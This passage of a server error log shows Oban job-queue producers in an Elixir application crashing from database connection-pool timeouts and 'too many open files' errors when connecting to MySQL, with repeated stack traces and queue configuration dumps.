    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:39:30.239842Z], limit: 50, uuid: "09a0166b-991b-42b0-a739-8776d3fbf894", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:30.239847Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129979>, refresh_timer: #Reference<0.2525715032.1068498948.22010>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:39:30.239284Z], limit: 5, uuid: "381912b3-c42f-4f66-a384-107f3ef43df0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:30.239290Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129977>, refresh_timer: #Reference<0.2525715032.1077411843.257497>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:39:30.238318Z], limit: 10, uuid: "75ed4f2f-520e-4b65-8824-c24b85ad5d1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:30.238328Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129976>, refresh_timer: #Reference<0.2525715032.1077411843.257473>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:43.227000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:47.067000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:49.972000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:50.389000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:51.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:52.774000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:53.724000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:54.093000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:39:42.247636Z], limit: 5, uuid: "e26961f5-82de-4afe-aa0f-a9c3dabfc68c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:42.247643Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.130398>, refresh_timer: #Reference<0.2525715032.1077411843.257586>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:54.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:39:42.248565Z], limit: 20, uuid: "3ff1af2e-a4f3-4f0f-a5c2-642aef512f49", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:42.248570Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.130396>, refresh_timer: #Reference<0.2525715032.1077411843.257624>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:54.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:39:42.247918Z], limit: 3, uuid: "a9026787-30e8-4d15-8ad4-803c76689905", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:42.247926Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.130400>, refresh_timer: #Reference<0.2525715032.1077411843.257587>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:39:42.249403Z], limit: 5, uuid: "bb1ecd40-45bf-4de8-8d71-52f5d53df2b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:42.249409Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.130395>, refresh_timer: #Reference<0.2525715032.1099431938.24955>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:54.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:39:42.248349Z], limit: 10, uuid: "831920b4-8046-4d9a-a79f-c404dea38697", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:42.248354Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.130397>, refresh_timer: #Reference<0.2525715032.1077411843.257615>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:54.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:39:42.248179Z], limit: 50, uuid: "e817122e-ca8a-4554-9226-84dc33d310b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:42.248184Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.130399>, refresh_timer: #Reference<0.2525715032.1077411843.257598>, dispatch_cooldown: 5, running: %{}}
